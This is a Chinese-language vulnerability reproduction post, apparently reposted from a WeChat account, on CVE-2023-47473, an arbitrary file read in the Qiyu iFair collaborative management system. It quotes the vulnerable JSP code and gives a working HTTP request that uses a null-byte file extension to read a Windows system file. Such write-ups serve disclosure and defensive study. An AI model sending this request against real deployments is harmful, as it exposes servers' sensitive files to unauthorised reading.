[漏洞复现] CVE-2023-47473 企语iFair协同管理系统 任意文件读取

admin
admin
admin
140350
文章
117
评论
2024年1月4日09:06:27评论123 views字数 2095阅读6分59秒阅读模式

本人非原创漏洞作者，文章仅作为知识分享用

一切直接或间接由于本文所造成的后果与本人无关

如有侵权，联系删除

产品简介

企语iFair协同管理系统是一款专业的协同办公软件，该管理系统兼容性强，适合多种企业类型。该软件永久免费，绿色安全，无需收取费用即可使用所有功能。企语iFair协同管理系统同时兼容了Linux、Windows两种操作系统，用户可以根据自己需求进行安装使用。

开发语言：Java官网地址：http://www.fuwushe.org/

[漏洞复现] CVE-2023-47473 企语iFair协同管理系统 任意文件读取

空间测绘

回复“CVE-2023-47473”获取空间测绘语句

漏洞描述

fuwushe.org iFair 版本 23.8_ad0 及之前版本中的目录遍历漏洞允许攻击者通过精心设计的脚本获取敏感信息。
影响版本

企语iFair ≤ v 23.8_ad0

漏洞代码

官网可以下载exe一键安装运行，原理很简单，就不做详细分析了，漏洞源代码如下：

<%    String imageURL = request.getParameter("imageURL");    System.out.println(imageURL);    if (!ValidateUtil.isNull(imageURL)) {        try {            String fileName = StringUtil.getFileName(imageURL);            String fileType = StringUtil.getFileType(fileName, "unkown");            if ("gif".equals(fileType) || "png".equals(fileType) || "bmp".equals(fileType) || "jpg".equals(fileType) || "jpeg".equals(fileType)) {

            } else {                return;            }            response.setCharacterEncoding("UTF-8");            response.resetBuffer();            response.setContentType("image/jpeg");            File uploadedFile = new File(imageURL);            DataInputStream is = new DataInputStream(new FileInputStream(uploadedFile));            DataOutputStream os = new DataOutputStream(response.getOutputStream());            byte[] readBytes = new byte[128];            int buffflag = -1;            while ((buffflag = is.read(readBytes)) > -1) {                os.write(readBytes, 0, buffflag);            }            os.close();            is.close();            os = null;            response.flushBuffer();            out.clear();            out = pageContext.pushBody();        } catch (UnsupportedEncodingException e) {            e.printStackTrace();        } catch (FileNotFoundException e) {            e.printStackTrace();        } catch (IOException e) {        }    }%>

漏洞利用

GET /oa/common/components/upload/getuploadimage.jsp?imageURL=C:Windowswin.ini%001.png HTTP/1.1Host: 192.168.182.138:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5758.195 Safari/537.36 OPR/100.0.2916.45Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=11324C3BF3D3A2D6EDD273C373AF7A65Connection: close

[漏洞复现] CVE-2023-47473 企语iFair协同管理系统 任意文件读取

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2023-47473https://github.com/THMOAS0/SSR123/blob/main/%E4%BC%81%E8%AF%ADiFair%20Any%20file%20read.pdf

原文始发于微信公众号（不够安全）：[漏洞复现] CVE-2023-47473 企语iFair协同管理系统 任意文件读取

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月4日09:06:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   [漏洞复现] CVE-2023-47473 企语iFair协同管理系统 任意文件读取https://cn-sec.com/archives/2362618.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息